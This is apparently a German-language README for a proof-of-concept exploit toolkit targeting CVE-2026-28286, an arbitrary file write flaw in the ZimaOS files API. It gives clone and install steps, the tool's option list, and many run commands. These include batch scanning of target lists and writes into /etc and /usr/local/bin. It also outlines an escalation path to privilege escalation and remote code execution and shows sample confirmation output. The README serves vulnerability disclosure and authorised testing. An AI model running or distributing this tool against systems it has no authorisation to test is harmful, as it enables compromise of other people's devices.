
PoC- und Verifizierungs-Toolkit für CVE-2026-28286, eine Schwachstelle für beliebiges Dateischreiben in ZimaOS, die eine API-Fehlkonfiguration ausnutzt, um Dateien außerhalb der vorgesehenen Verzeichnisse zu schreiben.
Von API-Fehlkonfiguration → Beliebiges Dateischreiben → Potenzielle Systemkompromittierung
/v2_1/files/filegit clone https://github.com/Rushi9/zimaos-cve-2026-28286-arbitrary-file-write.git
cd zimaos-cve-2026-28286-arbitrary-file-write
pip install -r requirements.txt
python3 poc.py
Sie können alle verfügbaren Optionen wie folgt anzeigen:
python poc.py -h
usage: poc.py [-h] [-u URL] [-t TARGETS] [-p PATH] [--proxy PROXY] [--token TOKEN] [-n ATTEMPTS] [--delay DELAY]
options:
-h, --help show help message and exit
-u, --url URL Single target URL
-t, --targets TARGETS Targets file (batch mode)
-p, --path PATH Custom file path (default: /tmp)
--proxy PROXY Proxy URL (e.g., http://127.0.0.1:8080)
--token TOKEN Bearer authentication token
-n, --attempts Number of attempts
--delay Delay between batch requests (seconds)
python poc.py
python poc.py -u http://localhost:8080
python poc.py -u http://localhost:8080 -p /tmp
python poc.py -u http://localhost:8080 -p /etc
python poc.py -u http://localhost:8080 -n 5
python poc.py -u http://localhost:8080 --proxy http://127.0.0.1:8080
python poc.py -t targets.txt
python poc.py -t targets.txt --delay 2
python poc.py -u http://target.com -p /tmp -n 3 --proxy http://127.0.0.1:8080 --token YOUR_TOKEN
Verwenden Sie den Proxy-Modus mit Burp Suite, um:
Das Backend setzt keine Dateisystemgrenzen durch:
Dies ermöglicht das Schreiben in:
/tmp/
/etc/
/usr/local/bin/
Beliebiges Dateischreiben
↓
Konfiguration / Skripte überschreiben
↓
Privilegienerweiterung / RCE

[✔] CONFIRMED vulnerable (LISTING_SUCCESS)
Path: /tmp/CVE-2026-28286_⚠️_abc123.txt
Wenn Sie dies nützlich fanden, erwägen Sie bitte, einen Stern ⭐ zu vergeben. Es hilft mehr Forschern, diese Arbeit zu entdecken.
Nur für autorisierte Tests.